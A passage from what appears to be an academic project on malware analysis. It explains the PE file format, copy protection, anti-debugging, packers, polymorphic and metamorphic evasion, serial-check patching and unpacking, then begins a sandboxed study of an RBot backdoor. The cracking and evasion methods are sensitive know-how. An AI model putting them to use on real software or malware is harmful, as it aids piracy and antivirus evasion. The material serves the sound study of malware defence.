drivers.  A PE  file  is  also called  a  module,  whereas  a module  implies  that  a  single
executable file that is a part of a program. PE file consists of five main sections as
shown in figure 8. Every PE file starts with the MS-DOS header section which contains
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a pointer to the PE header section. MS-DOS Stub section provided for legacy reason.
This section informs the user that this file cannot be run in DOS mode when the user
attempts to run it with DOS command. The PE header contains important information
needed to run the executable such as: the base address of the PE File, the address of the
entry point, and  the number of sections in the section table.[5,351-371]
Figure 8. The PE file format
The  section  table  is  divided  into  individual  sections  to  store  the  file  contents.  The
executable code is  stored inside the  code section (.text  section).  Program's data (for
example, global variables and initialized variables) are stored inside the  data section
(.data section). As a result, data section can contains important strings that can assist in
reversing.  For example,  data section  can contains  malware networking informations
such  as  remote  server  name  and  address.  Each  section  has  different  access  rights
(readable, writeable, or executable) that are based on the settings available inside the
section header  [2,95].  The last  section is  the directory section which consists  of  16
directories  holding information about  PE file.  Usually a  few directories  are  present
inside the PE file, such as the import table, export table, debugging information, and
import address table.[5,373] 
A program can contain several components grouped together. Once the executable file
(object file) is created by the compiler, it can be linked with external functions or other
executable objects using the linker as shown in figure 9. The executable file can import
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functions  from the  Win32  API at  runtime.  This  can  be  accomplished  by using the
dynamic link libraries (DLL) mechanism. A DLL is a library that contains code and data
that can be used by more than one program at the same time. This helps promote code
reuse and efficient  memory usage. In  Windows,  KERNEL, USER, GDI and Native
APIs are presented to the programmer as DLL files; KERNEL32.DLL, USER32.DLL,
GDI32.DLL, and NTDLL.DLL respectively. The same DLL files are shared among all
the processes that load them; hence they occupy one space at memory. DLL has several
drawbacks;  a  program using  DLL is  dependent on  the  DLL and  cannot  run  if  this
dependency is broken due to the DLL files removed from the system or in some cases
upgraded to a new version. [13]
A program using DLL is called dynamic executable as opposite to a  static executable
program. For the static executable, all the static libraries (.lib files) are embedded inside
the program while is built. This makes the program independent of shared libraries. This
might  sounds  good  from  the  programmers  perspective  but  certainly  not  from  the
operating system perspective. The library code will be loaded into memory for every
program using it  causing unnecessary memory consumption and slower performance
[5,290].  For dynamic executable, Windows OS  has two different methods of linking
DLL at runtime called, load-time linking and runtime linking.
Figure 9.  Linker creation of executable file
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Load-time linking is the typical linking method where the linker creates a list in the PE
file for  the functions  that  the program imports  externally.  This  list  is  known as the
import table.  When the system load the executable file, it uses the information in the
import table to load all the DLL files that are used by the current executable and to
resolve all external references to run the program [2,96]. Alternatively, Runtime linking
loads the DLL files and then imports the required function  manually at runtime. No
import table is provided; instead the executable imports the right function by loading the
DLL file first using Win32 API's LoadLibrary function (or LoadLibraryEx) followed by
Win32  API's  GetProcAddress  function  to  obtain  the  address  of  the  required  DLL's
function  by  the  executable.  This  method  is  more  flexible  but  more  difficult  to
implement by the programmers.[13] [2,97]
The import table plays an important rule in this dynamic linking mechanism. It contains
a list of all functions the current executable imports grouped under each module name
(DLL files are also called modules) linked with the current executable as presented in
figure 10. When a certain module provides a set of functions to other module, these
functions are listed in the  export table of that module. The export table contains the
names and relative virtual  addresses  (RVAs)  of every exported function. The import
table locates the address of the exported function using the import address table (IAT).
IAT initially contains empty values that the linker resolves when the module is loaded to
point to the exported function in the exporting module.
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Figure 10. Import and export mechanism [2,100]
Finally,  it  is  valuable  to  mention  another  important  data  directory:  the  debugging
information directory. The debugging information may be produced by the compiler and
the linker to assist debugging of the executable file. This information can be  helpful (if
it is present) in reversing. It includes the names and addresses of all functions, all data
types, all class definitions, and the global and local variables. Malware authors usually
remove this  information  out  the  PE file  header,  not  only to  reduce  the  size  of  the
malware file but to harden the process of reversing [5,290]
3.3.4 Virtual Memory Concept
The basic principle of all modern operating system is the virtual memory concept. The
concept was born as solution to the physical memory's limitation and cost. The personal
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computer nowadays can have few gigabytes of physical memory with corresponding
hundreds of gigabytes of hard drive. The virtual memory concept takes advantage of
large space of the hard drive to extend the physical memory. The virtual memory is not a
replacement of the physical memory. Instead it is an interface between the applications
and the physical memory as shown in figure 11. The operating system creates a virtual
address space for every program once it is loaded. The virtual and physical memory are
divided into fixed size chunks called pages (in 32-bit architecture, every page equals 4
kb).  When a certain  application (or  part  of  it)  is  not  in use for  a while,  the virtual
memory flushes (known as dumping) the application idle data (memory pages) to the
hard  drive.  If  the  same  dumped application  memory  pages  become  active,  the
application will try to access its memory pages. The OS is notified and it will read back
the  application  data  from the  hard  drive  to  the  same physical  memory pages.  This
process is know as paging. [2,71-74]
Figure 11. Virtual memory concept
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PE files are relocatable. This means that it can be loaded into different virtual memory
addresses each time they are loaded by the operating system. The virtual memory of the
program is not necessarily loaded in a contiguous block. This can cause problems to the
executable  code  because  some  instructions  (like  call  instruction)  point  at  another
position of the code. To solve this problem, every PE is assigned an base address that
represents its first byte location in virtual memory and an offset called relative virtual
address (RVA) is added to the base address to locate the virtual address of a certain code
[2,93-95]. For example, if USER32.DLL was loaded into base address 0x80000000 and
then an application request certain function from this library. The OS can locate that
function code by adding the base address to the RVA of that  function (for example,
0x02000).  The  required  function  then  is  found  at  the  virtual  memory  address  of
0x80002000.[10,114]
A program's  entry  point (EP)  is  the  address  of  the  first  instruction  to  be  executed
(usually the main function of C/C++ programming). When a program is protected, the
EP is hidden and replaced by the protector entry point. In this case the program EP is
called the  original entry point (OEP). It is important to locate the OEP address to be
able to defeat most of software protection techniques. The application's debuggers are
unable  to  debug  a  program  before  the  execution  reaches  the  program  entry  point.
Software protection techniques are discussed in more detail in chapter 4.
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4  Software Protections
4.1 Overview
Nowadays, software, films, books, and recordings can be stored in a digital form on
personal computers. The digital  form has many advantages for users but has caused
serious troubles for the copyrighted materials owners. Digital materials can be copied
with a few mouse clicks and distributed to a large number of people in a few hours
using the Internet. Software developers suffer from the illegal copying of software for
public or private distribution or for duplication and resale, which is known as software
piracy. 
The  basic  objective of  most  copy protection technologies  is  to  control  the way the
protected product is used. Depending on the software license, some software (called
shareware)  is time-limited  so  that  they stop  functioning  after  the  trail  period  ends.
Others programs' licenses are per single user and  cannot be shared among friends or
used in cooperate environment. Also, most of open-source free software licenses force
the user to publish their source code if they want to use them. The technological battle
against  software  piracy  has  been  raging  for  many  years  but  no  single  effective
protection has been developed. [2,311]
The software protection scenario is  complicated,  as shown in figure 12. Five major
characters are involved in the scene. Malware researcher can co-operate indirectly with
a cracker (a person who breaks software protections for illegal reasons) while a malware
writer  can  use  latest  protection  techniques  developed  for  software  developer.
Developers of copy protection technologies often make huge efforts to develop robust
copy protection mechanisms or tools. Software developers buy the  tools to protect their
products from crackers, but at the same time, malware writer can use the same tool to
protect  his  malware  from  malware  researchers.  On  the  other  side,  both  malware
researchers and crackers make effort to break any new protection. A single cracker can
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defeat the protection and publish the results on the Internet. The cracker can also create
a tool or script that can break this protection automatically. In this case, not only the
pirated program will be freely available but sometimes even every program protected
with the same protection can be easily duplicated. Malware researcher can learn from
the cracker and use his  tools in analysing malware. Tools developed by crackers are
known as underground tools for malware researchers. 
Figure 12. Software protection scenario
Modern computers are open in the sense that the software runs on the CPU unprotected.
This means that the hacker can obtain the machine code of the software and then uses
the  assembler  to  translate  it  to  assembly  language.  The  CPU was  not  designed  to
prevent  anyone  from  gaining  access  to  the currently  running  code.  This  open
architecture makes it impossible to create an uncrackable copy protection technology. It
is possible to create protection technologies that cannot be cracked at the software level
if the current hardware architecture is modified but that will not prevent hardware-level
attacks. [2,312]
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Most of software protection's techniques are quite limited and can only complicate the
analysing process but they can never  prevent it.  For  a malware writer,  time is  very
important.  If he or she can earn more time before the anti-virus programs detect the
malware or before the researcher undercovers a number of malware hidden information
and abilities,  then the malware writer  can achieve an important  objective;  that  is  to
spread the malware to a larger number of machines.
4.2 Traditional Techniques
Many traditional  techniques  were  developed to  protect  software  against  piracy.  The
common principle was to eliminate distributing copies of software by using validation
algorithm or hardware component attached to users' machine. Common traditional ways
to compact software include: 
 Serial Number: Every software package is shipped with a unique serial number.
The installation program has a private algorithm to validate the serial number.
This algorithm is similar in all packages. It is impossible or at least not logical to
create a special algorithm for every software package. This would increase the
cost of the program and consume a large amount of effort, and can be error-
prone. Therefore, users can share their serial numbers or a cracker can reverse
the validation algorithm and creates a key generator (keygen) that can generates
many valid serial numbers.
 Username and Serial: The software has special algorithm that generates serial
number based on the username entered by program's user. If one user shares his
serial,  he  can  be  identified  by the  vendor.  However,  this  kind  of  validation
algorithm can be reversed as well by the cracker to create a keygen.
 Online Activation:  The user sends his or her information (username or serial)
or/and his or her PC's information (machine identifier) to the vendor server. The
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server verifies the information and reply with either a valid or invalid response.
The invalid response disables the software while the valid response activates the
software.  Crackers can use many techniques to break this type of protection.
They  can  simulate  the  server  role,  or  by  supplying  the  software  with  valid
response  manually  by  editing  software  binaries  using  patching technique
[section 4.4.2].
 Hardware-Based: The  software  validation  algorithm  checks  if  a  special
component (called dongle) is attached to the user machine and that component
contains a unique activation encrypted key. If this component does not exist, or
the key is invalid, the software will be disabled. This type of protection suffers
as well. For example, the cracker can obtain the key from the memory after the
key passes through decryption algorithm, or by editing software binaries to force
the validation algorithm to to accept any invalid key.[2,316]
Malware analysts are not much concerned with the traditional  protection techniques.
Malware does not have user interface and they will not ask the infected machine for
serial number before they can execute. Malware researchers are more involved with the
modern  techniques  which  include  source  code  obfuscation,  anti-reversing,  anti-
debugging, source code encryption, and stripping the debugging information.
4.3 Modern Techniques
4.3.1 Basic Principles
There are several common powerful modern protection techniques that can be called
anti-reversing techniques.  With the current  computer architecture,  it  is impossible to
entirely prevent reverse engineering but it is possible to make the process so slow and
complicated that  the reverser  give  up.  Every anti-reversing approach has  some cost
associated with it.  For example,  CPU usage, program reliability and robustness, and
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worse when some anti-virus programs suspect that the program is a malware and block
it. That can happen because the malware authors have used the same protection tool to
protect the malware [2,327]. The first and easiest approach is to eliminate the debugging
and the textual information. This can be achieved by:
 Eliminating the information the import table provides [section 4.3.3].
 Encrypting important messages (textual information) the program displays such
as  the  registration  information,  network  information,  URLs,  IRC  server
information, or any other private information [section 3.3.3].
Debugging and textual information offer great help for the reverser. Interesting pieces of
code can be located in few seconds. For example, if a program shows an error message
“You have entered an invalid serial number”, a cracker can locate the code that displays
this message with the assistant of the imported function that displays the error dialog-
box and the error text  stored in the program. If  the code that  generates the error is
located, the cracker can modify it or bypass it completely.
The software developer can add a layer of protection to his or her product by writing the
source  code  in  a  complicated  way.  He  or  she  can  add  complex  non-functioning
(garbage) code to the program's source code to confuse the cracker. Figure 13 shows
how this can be achieved. Rectangles represent functions while an asterisk inside any
rectangle  indicates  a  garbage  function(s).  The  cracker  would  be  confused  if  many
encryption functions exist in single small part of the source code. If he or she starts to
follow every jump and records every output, he or she can loose motivation to continue.
The idea demonstrated by figure 13 is to generate  hashes (a cryptographic values) for
the username and serial information. Next the hashes are encrypted more and sent inside
a  loop  where  the  real  comparison  algorithm  is  surrounded  by  several  complex
encryption garbage functions as well as another garbage  comparison algorithm exists.
During  the  loop,  both  real  comparison  algorithm and  the  useless  one  compare  the
encrypted output of  username and serial  and store the results.  All  the results  of  the
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comparison are not important with one exception; the real one. The real comparison
could happen between  the  username and serial  hashes  generated at  the first  step at
random number which is bigger than zero and not larger than the number of loops the
code performs. This result is stored in safe place and then used to validate of the user
input later. This kind of non-professional, difficult-to-read code is not recommended for
developing software but  it  is,  in the case of  protecting,  an important  piece of  code
because it can batter the attacker attention. 
Figure 13. Garbage functions insertion
Inserting garbage functions approach is one of control flow transformations technique.
The goal of this technique is to alter the order and the flow of a program in a way that
reduces its human readability. 
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4.3.2 Anti-Debugging
Anti-debugging techniques are ways for a program to detect if it runs under control of a
debugger.  The main goal of anti-debugging techniques to abort  the execution of the
program if a debugger is present or less commonly to damage the debugger or to stop it
before the program can continue execution. Anti-debugger techniques are particularly
effective when combined with code obfuscation [section 4.3.3] because the reverser has
to de-obfuscate the code before trying to beat these techniques. The limitation of anti-
debugging techniques that they are almost always platform-depended; that they depend
on specific operating system. This section will cover some of anti-debugging techniques
for Windows operating system.[2,331]
The simplest technique is to use IsDebuggerPresent Win32 API function. This function
returns true if a debugger is attached to the program and therefore the programmer can
use it to abort the program. It is a simple technique to implement but also simple enough
to bypass by the cracker. The cracker can skip this function or eliminate it completely
by  editing  the  program  binaries.  Another  function  used  for  anti-debugging  is
GetTickCount which returns the number of milliseconds in real time that have elapsed
since the system was started.  Programmer can place two GetTickCount functions in
small  section of  code and then check the number of milliseconds that  have elapsed
between the execution of the first function to the second function as seen in listing 2. If
the time is greater than normal process execution then the program will most likely be
attached to a debugger.[14]
 GetTickCount              ; returns n1 of milliseconds since system started
 code....                 
 GetTickCount              ; returns n2 of milliseconds since system started
timeDifference             ; n3 = n2 – n1 
checkDubbger              ; if n3 > normal execution process
Listing 2.  GetTickCount anti-debugging technique
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Still this technique can be bypassed by the cracker but the programmer can spread this
technique all around the source code which would prevent the cracker from the single-
step patching technique, as described in section 4.4.2, but this can come at the cost of
slowing down the execution of the program. 
Most anti-debugging techniques are quite complex and require a deep knowledge of
CPU, memory, or operating system which are not covered in this final project. More
anti-debugging techniques are briefly presented at “A Windows Anti-Debug Reference”
article written by Nicolas Falliere at  (http://www.securityfocus.com/infocus/1893).
 
4.3.3 Code Obfuscation
Malware authors tend to protect the malware code using the obfuscation technique. This
technique  encrypts  the  program  binaries,  which  produces  an  encrypted  assembly
language representation. This can protect the program source code from reversing by a
malware  analyst.  Obfuscation  can  also  help  the  malware  to  bypass  anti-virus  and
intrusion detection programs built upon a signature-based detection method. Different
obfuscation tools can be used which would produce different encrypted source code.
Therefore, it would be difficult to have a unique signature (code pattern)  that would be
used by the anti-virus program to identify the malware. 
Moreover, obfuscation is used to protect malware from another hackers. It  would be
easier  for  a  hacker  to  hijack  another  hacker's  malware  that  has  been  successfully
installed  and  passed  security  checks  than  creating  new  malware.  This  can  be
accomplished  using  a  Trojan that  modifies  the  binaries  of  the  installed  malware  to
redirect the transferring the stolen information to the second hacker remote machine, or
adding the hijacked malware to the second hacker  botnet army. It is common to use
several  obfuscation mechanisms for  the same malware to gain extra protection. For
example, packers and  protectors (or  cryptors) can be applied for the same malware
creating layers of protection as demonstrated in figure 14. [5,340]
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Figure 14. Obfuscation techniques.
Packers obfuscate compiled binary programs by compressing its binary code and data
sections. This compression would generate invalid machine code and non-meaningful
assembly  code.  However,  the  program  can  still  execute  on  the  target  machine  by
uncompressing the program at runtime. A packer embeds a unpacking stub inside the
packed program that unpacks the program before it is loaded into the target machine
memory. This can be accomplished by modifying the program entry point (EP) to points
to the unpacking stub as shown in figure 15. When the packed program executes, the
operating system reads the new entry point and initiates the execution of the packed
program at the unpacking stub that restores the original program binary into memory.
[3,524]
Figure 15. Packers protection technique
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It is important to obfuscate a program's import table. The import table lists the names of
the  functions  and  DLL's  libraries  that  the  program  depends  on.  For  example,  if  a
program uses MessageBox function to display a modal dialog-box after submitting the
program registration serial number, it would be easy to locate that function and analyse
the assembly code that generate the function to break the program protection. In this
case, the unpacking stub must be sophisticated enough to perform many of the functions
of the runtime linking technique described in chapter 2. The most obvious way to do
this is to leverage available system API functions such as the Windows LoadLibrary and
GetProcAddress functions [3,525]
Cryptors or protectors, serve the same purpose of applying an encryption algorithm
upon an executable file,  causing the target  program’s internals  to  be scrambled and
therefore,  the  assembly language  representing  the  machine  code is  non-meaningful.
Technically, packers and cryptors work at the same way. To decrypt the program at the
runtime, cryptors embed a decryption stub inside the program that would run first (by
modifying  the  program EP to  the  stub)  when  the  program  executes  to  restore  the
original  program contents  in  memory  [5,342].  Listing  3  lists  the  original  assembly
language of small C program called protector.exe and listing 4 lists the same program
encrypted source code using ASProtect.
00401220 > $ 55                    PUSH EBP                  ; Original Entry Point
00401221   . 89E5               MOV EBP,ESP
00401223   . 83EC 08             SUB ESP,8
00401226   . C70424 0100000>   MOV DWORD PTR SS:[ESP],1
0040122D . FF15 D4504000        CALL DWORD PTR DS:[Function]
00401233   . E8 C8FEFFFF          CALL protecto.00401100
00401238   . 90                              NOP
00401239   . 8DB426 0000000>   LEA ESI,DWORD PTR DS:[ESI]
00401240   . 55                              PUSH EBP
Listing 3.  Protector.exe original assembly code
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00401000 >/$ 68 01604000    PUSH protecte.00406001    ; Stub Entry Point
00401005  |. E8 01000000      CALL protecte.0040100B   
0040100A  \. C3                      RETN
0040100B   $ C3                     RETN
0040100C     B6                      DB B6
0040100D     96                      DB 96
0040100E     CD                     DB CD
0040100F     6F                      DB 6F                                  
00401010     5E                      DB 5E                         
Listing 4. Protector.exe encrypted assembly code
It is clear that the program binaries have been changed and the entry point has been
moved to the stub execution code. It seems that the stub will start executing at  CALL
protecte.0040100B  to restore the program original code at memory. Figure 16 shows
the import table of the program before and after the protection applied. 
Figure 16. Protector.exe import table
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It is obvious that ASProtect had eliminated the functions imported by the import table. It
looks that ASProtect operates as a runtime  loader by using Win32 LoadLibraryA and
GetProcAddress  functions.  Beside  compressing  and  encrypting  the  code,  most  of
obfuscation tools embed into code several anti-debugging techniques to improve their
effectiveness.  There  are  many  other  obfuscation  tools  besides  ASPack  /  ASProtect
available  commercially  including  Armadillo,  EXECryptor,  MoleBox,  Enigma  and
Themida. It is important to keep in mind that most of these tools are expensive and they
are not able to prevent cracking but only to complicate the process of analysing or
reversing  the  program.  Hackers  will  not  have  any  hard  decision  for  using  any
obfuscation tool since they acquire the product illegally, while software developers must
consider twice if any of these tools can achieve what they are looking for.
4.3.4 Polymorphism and Metamorphism
Polymorphism is a technique that thwarts signature-based identification [section 2.5.2]
programs by randomly encoding or encrypting the program code in a way that maintains
its original functionality. Polymorphism differs from cryptors that it tends to generate a
random valid machine code at runtime. For example, it would be more difficult for the
anti-virus to identify the unique signature when randomizing the use of registers in the
assembly code as shown in listing 5 and listing 6. 
0040343B 8B45 CC MOV EAX,[EBP-34]
0040343E 8B00 MOV EAX,[EAX]
00403440 3345 D8 XOR EAX,[EBP-28]
00403443 8B4DCC MOV ECX,[EBP-34]
00403446 8901 MOV [ECX],EAX
00403448 8B45 D4 MOV EAX,[EBP-2C]
0040344B 8945 D8 MOV [EBP-28],EAX
0040344E 8B45 DC MOV EAX,[EBP-24]
00403451 3345 D4 XOR EAX,[EBP-2C]
00403454 8945 DC MOV [EBP-24],EAX
Listing 5. Original assembly code [2,282]
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Applying the register randomizing technique to the previous code provides a different
code sequence but with equivalent functionality as shown in listing 6. A signature-based
identification program works by defining a unique pattern for all malicious software
based on its machine code. Randomizing the registers generates different machine code
as emphasized  in listing 6. [2,283]
0040343B 8B57 CC MOV EDX,[EDI-34]
0040343E 8B02 MOV EAX,[EDX]
00403440 3347 D8 XOR EAX,[EDI-28]
00403443 8B5F CC MOV EBX,[EDI-34]
00403446 8903 MOV [EBX],EAX
00403448 8B77 D4 MOV ESI,[EDI-2C]
0040344B 8977 D8 MOV [EDI-28],ESI
0040344E 8B4F DC MOV ECX,[EDI-24]
00403451 334F D4 XOR ECX,[EDI-2C]
00403454 894F DC MOV [EDI-24],ECX
Listing 6. Register-Randomized assembly code [2,283]
Using polymorphism, malware authors can generate different machine code for different
copies  of  the  same  malware  which  could  be  effective  to  bypass  some  of  detection
programs.  However,  advanced  detection  programs  use  plenty  of  ways  to  identify
polymorphed code by analysing the code and extracting certain high level information
from it.[2,283]
Metamorphism is  a  powerful  technique  to  bypass  most  of  (if  not  all)  anti-virus
programs by alerting the entire program each time it is replicated. Metamorphism can be
applied  by  embedding  a  sophisticated  code-generation  engine  that  analyses  and
generates  different  code for  every copy of  the malware.  This engine can perform a
variety of alterations on the malicious program. For example, besides randomizing the
registers selection, the engine can also insert randomly garbage code. The engine can
also change the instructions order if they are independent of each other and replace an
instruction with equivalent functionality instruction as shown in listing 7. [2,284]
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; Both instructions are equivalent but generate different machine code
xor eax , eax ; this instruction set the content to zero of register eax   
mov eax, 0 ; which can be replaced by this equivalent instruction 
Listing 7. Replacing instructions
The  engine  can  manipulate  the  conditional  statements  and  change  the  order  of  the
functions as shown in listing 8. 
; Both codes are functional-equivalent but generate different machine code
cmp ebx, 0x2 ; cmp ebx, 0x2
jnz   call_2 ; je call_1 [change if ( value != 2) to  if (value = = 2)]
call_1 ; call_2     [replace the order of the functions]
call_2 ; call_1     [valid code with different bytecode]
Listing 8. Manipulating conditional statements
Both  polymorphism and  metamorphism techniques  can  be  categorized  as  malware-
specific and can considered as anti-anti-virus techniques. They allow malware writers to
create flexible malware; more difficult to locate and identify. Fortunately for malware
researchers  and  anti-virus  developers,  developing  polymorphism and  metamorphism
engines is difficult and  requires effort and time.
4.4 Defeating Protections
4.4.1 Short Background
Cracking is the term used for defeating, bypassing, or eliminating any kind of software
protection scheme. Cracking is only the general term, not the technique. It is possible to
modify the behaviour of a program by editing its binaries in a technique called patching.
Patching works well with traditional protection techniques, but it does not work with
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most  of  the  modern  protection  techniques.  For  the  later  case,  de-obfuscation is  the
solution.  This  technique  removes  the  obfuscation  and  reveals  the  original  “de-
obfuscated”  program,  which  can  then  be  analysed  using  traditional  tools  such  as
disassemblers and debuggers and can be modified using patching technique. 
 
To defeat malware protection, a malware analyst first needs to de-obfuscate the malware
and then to restore the original program code. Next, the analyst can use the patching
technique to modify the necessary sections of the code. For example, a malware usually
enters a infinite loop trying to connect to an remote computer. It would jump out of that
loop only after it establishes the connection. The analyst can patch that piece of code to
be able to analyse what the malware would do after it establishes the connection without
allowing the malware to establish the connection. Alternatively, the malware analyst can
patch the code to change the remote computer address to locale host, or to the address of
a computer that reside insides the research lab.
4.4.2 Patching Technique
Patching is the technique used modify the program binaries. Originally, this term was
used  to  eliminate  software  bugs.  For  example,  Windows  operating  system  update
releases patches that  are usually used either to close a  security  hole or improve the
features of the software. On the other side, crackers use patching to eliminate or bypass
software  protection.  Crackers  use  disassembly  and  debugging  tools  to  locate  the
protection's code inside the program. Some modification  typed can be simple,  while
others  need more advanced techniques.  Figure 17 shows the original  program code
before being cracked by the cracker. The programmer spent long time creating complex
encryption code to validate the serial number. The result of the encryption is a hash that
represent an encrypted version of user's serial number. The hash is then compared with a
second hash that represents the encrypted real serial number. If both match, the program
will accept the user's serial or otherwise it would reject it. 
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Figure 17. Original program code before patching
The  cracker,  with  the  assistant  of  disassembly or  debugging  tools,  can  locate  this
section of code and then simply patch the program binary as shown in figure 18. The
cracker has simply modified one single line. The cracker did not bother to understand
the  complex  encryption  algorithm  and  reverse  it;  instead  he  or  she  modified  the
comparison between the hash generated from the user serial number and the real serial
hash. 
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Figure 18.  Program code after patching
The cracker has made on single-step patching to the code as shown in listing 9
JNZ Reject    →      JE Reject
Listing 9.  Single-step patching
Now, the program can accept any serial number with exception to the real one. This
trick is one of the oldest and simplest patching techniques and still used to crack many
programs. 
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Programmers  can  avoid  the  single-step  patching  technique  by  validating  the  serial
number  at  different  locations  of  the  program.  The  programmer  can  store  the  hash
generated from the user serial number in the registry and validate the hash every time
the  program  starts.  The  programmer  can  also  validate  the  serial  number  while  the
program is performing tasks. For example, if the program converts audio files from one
format to another, the programmer can validate the serial number during the conversion
process.  It  is  more  difficult  for  the cracker  to  locate the validation code inside the
program and it would prevent single-step patching but it would not stop patching at all.
Avoiding  single-step  comparison  is  compulsory.  The  programmer  can  divide  the
comparison to several accumulative steps; that is every step depends on the one before
it. Also adding garbage code adds more protection to the program. The validation code
can be scattered all around the source code to confuse the cracker. However, avoiding
patching is only possible with the use of obfuscation technique as long as the cracker is
not be able to de-obfuscate the obfuscated code.  
4.4.3 De-Obfuscation
As  discussed  earlier  in  section  4.3.3,  malware  is  often  obfuscated  to  protect  the
program’s from several enemies (from malware author perspective). In order to fully
explore a suspect program and reverse it, malware analyst must restore the program to
the original form by eliminating all kind of protections applied to the suspect program
[5,340].  Most  of  the  restoring  process  is  done  manually.  Almost  all  packers  and
protectors do not offer unpacking utilities. Some underground tools or scripts have been
developed by crackers to automate the unpacking process but only for few protection
tools.  Instead,  crackers  publish  restoring  instruction  manuals  and  tutorials  over  the
Internet  that  explain  how  to  defeat  a  certain  protection.  A malware  analyst  should
himself  or  herself know  how  to  break  protection  instead  of  relaying  on  crackers
tutorials, but still they can assist in speeding up his tasks.
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The first step in the de-obfuscation process it to identity if the malware is obfuscated or
not and which packer or protector has used.  There are several utilities that can examine
the PE files,  including compiler and packing identification. Tools such as PEiD can
identify whether a binary has been protected using a known protection tools only. PEiD
can be extended using plugins to offer more information about the PE File such as if any
encryption algorithm was used (For example, CRC32) and where in the source code it
was used. Figure 19 shows the GUI for the PEiD and the krypto analyzer from the
plugin interface that could identify four encryption algorithms used in this application. 
Figure 19. PEiD Utility  
This application is using Armadillo protector of Silicon Realms. PEiD could not identify
the exact version of the protector but suggested it is between version 1 and version 3.
More information were given, the protector entry point is given as 00234869 and four
encryption  algorithms  used  in  the  obfuscated  code  have  been  identified.  PEiD
information is  not  always reliable.  It  is  recommended to examine the malware with
similar utilities as well such as PE Detective and RDG Packer Detector.
The next step is defeating the protection and restoring the program to the original de-
obfuscated state. It  would be excellent if there are tools available to perform that for
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malware analysts. For example, UPX packer provides unpacking functionality. UPX is a
free open-source packer and sometimes is used for packing malware. However, some of
malware  is  protected  with  commercial  protection  tools  that  do  not  offer  unpacking
utilities.  A malware analyst  must  follow another  method used for de-obfuscation by
dumping the PE File from memory. 
With most protected programs, restoring the original unprotected version of the program
is done by protection utility itself (the embedded stub). The processor can only execute
the  original  unprotected  version  after  being  loaded  to  the  memory.  The  complete
program in memory is called the memory image of the program. It is possible to dump
the memory image of any program to a file. The resulting file resembles the original PE
file without any kind of protection as shown in figure 20. When applying this approach
to malware, a  secure environment must be established because the malware has given
the chance to run before dumping its memory image to the file.[3,527]
Figure 20 Memory dumping technique
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There are a number of underground tools  that  can assist  a  malware analyst  such as
LordPE, ProcDump, and PE Tools.  The biggest  drawback of this method is that  the
resulting file  cannot be executed because the import table is often corrupted since the
unpacking  stub  built  the  import  table  at  runtime.  The  dumped  file  can  be  made
executable again if the malware analyst finds the  OEP and reconstructs the corrupted
import  table.  This  technique  requires  running  the  protected  malware  through  a
debuggers  and  tracing  the  code  step-by-step  if  necessary.  Breakpoints offer  good
assistant to locate the OEP in shorter time without step-by-step tracing. 
Once the OEP is located,  the debugged process can be dumped with the OllyDump
plugin,  which  creates  a  new  de-obfuscated  malware  PE  file.  The  next  step  is  to
reconstruct the import table using Import Reconstructor (ImpREC) tool. Each recovered
import is demarcated as to whether it is valid or invalid. Once the Imports of the target
executable have been recovered and validated, the dumped executable can be saved to
disk and is ready to execute [3,537].  ImpRec was used to rebuild protector.exe PE File
from section 4.3.3 as shown in figure 21.
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Figure 21. Using ImpREC to repair protector.exe
To restore  the  import  table of  protector.exe,  the  OEP is  located  at  00401220 using
Ollydbg and then supplied to ImpREC. Using automatic search feature locates all the dll
files the program imported. If the AutoSearch feature succeed, Get Imports button load
the dll files list. If all imports are valid, Fix Dump button is used to rebuild the new
malware PE file created using  OllyDump plugin. Since rebuilding the import table is
essential to reconstruct the original file, most protectors aim at making this process as
difficult as possible. Many times, ImpRec reports invalid DLL files. When this happens,
the analyst might be forced to rebuild the import table manually.
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5  Applied Malware Analysis
5.1 Overview
In this chapter I will dissect typical real-world malware and analyse its behaviour and
functionalities as a practical case study. The purpose is to describe the life cycle of the
malware from execution till exit. The most important parts of the malware include:
1. The initial execution of the malware
2. The creation of the malware process
3. Establishing a connection to the IRC Server
4. Listing some of the available commands or functions the malware performs
I chose to apply a dynamic analysis to the first step and static analysis to the rest. The
complete reversed and patched assembly code of  the last  three steps  is  available in
Appendix 1.
Usually,  a traditional  backdoor at  the compromised machine communicates with the
hacker through the Internet Relay Chat (IRC). The IRC was originally written by Jarkko
Oikarinen in 1988. Since starting in Finland, it since been used in over 60 countries
around the world. The IRC provides a way of communicating in real time with people
from all over the world. It consists of various separate networks of IRC servers. After
connecting to a certain server, people convene on channels (a virtual place, usually with
a topic of conversation) to talk in groups, or privately. The channel names usually begin
with a #, as in #irchelp . Each user is known on the IRC by a nick name while the
channel's  operators  can  control  the  channel  by  choosing  who  may not  join  in  (by
"banning" some users), who must leave (by "kicking" them out), and even who may
speak (by making the channel moderated). [15] 
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5.2 Secure Environment
Before I could start with the analysis, I had to establish a secure environment so that the
malware did not affect my machine and did not spread or connect to a remote machine.
I chose to use virtual machine that is detached from the host and the Internet as seen in
figure 22. My choice was Sun xVM VirtualBox because it is free and did what was
needed. I created Windows XP virtual machine and transferred the necessary tools and
installed them before starting the analysis. 
Figure 22. VirtualBox virtual machine's network settings
When everything was ready and the tools were installed, I obtained malware from the
Internet  and transferred it  to the virtual  machine. The Offensive Computing website
(http://www.offensivecomputing.net) is one of few websites that  contains samples of
live malware which can be downloaded compressed in an archive file.
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5.3 The Target -  Backdoor.RBot.XHZ
5.3.1 Choosing the Target
I chose Backdoor.RBot.XHZ for the case study. Every malware has different aliases
given  by  different  anti-virus  companies.  For  example,  some  of  the  aliases  are:
Backdoor.Win32.Rbot.gen  (Kaspersky  Lab),  W32/Sdbot.worm.gen.h  (McAfee),
W32.Spybot.Worm (Symantec),  and WORM_RBOT.KZ (Trend Micro) [16]. 
There are good reasons for choosing this malware. I wanted malware that belonged to a
backdoor family because it could remain undetectable and pose a great threat to a user's
privacy. I also wanted malware that used one of the protection techniques described in
chapter 3, and relatively old so that the remote machine (hacker machine) it tried to
establish connection with did  not exist any more. 
5.3.2 Initial Inspection
The  first  observation  after  extracting  the  backdoor  from  the  archive  was  the  icon
associated for the backdoor which is the same as Microsoft Wordpad text editor's icon
as shown figure 23. The icon could look familiar to the victim but it  existed at  the
wrong place.  The victim would be suspicious and delete the file.  It  would be more
effective (for hacker) if the hacker managed to associate a better icon for the backdoor
such as bitmap, or popular and a frequently used application such as Skype and Live
messenger.
Figure 23. Backdoor's icon
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I chose dynamic analysis to monitor the initial execution of the backdoor. I wanted to
gather  information about the files  it  creates,  modifies  and reads  and whether  it  can
bypass the firewall detection. I used the registry monitor (RegMon) and file monitor
(FileMon) free utilities from the Sysinternals company which was purchased recently by
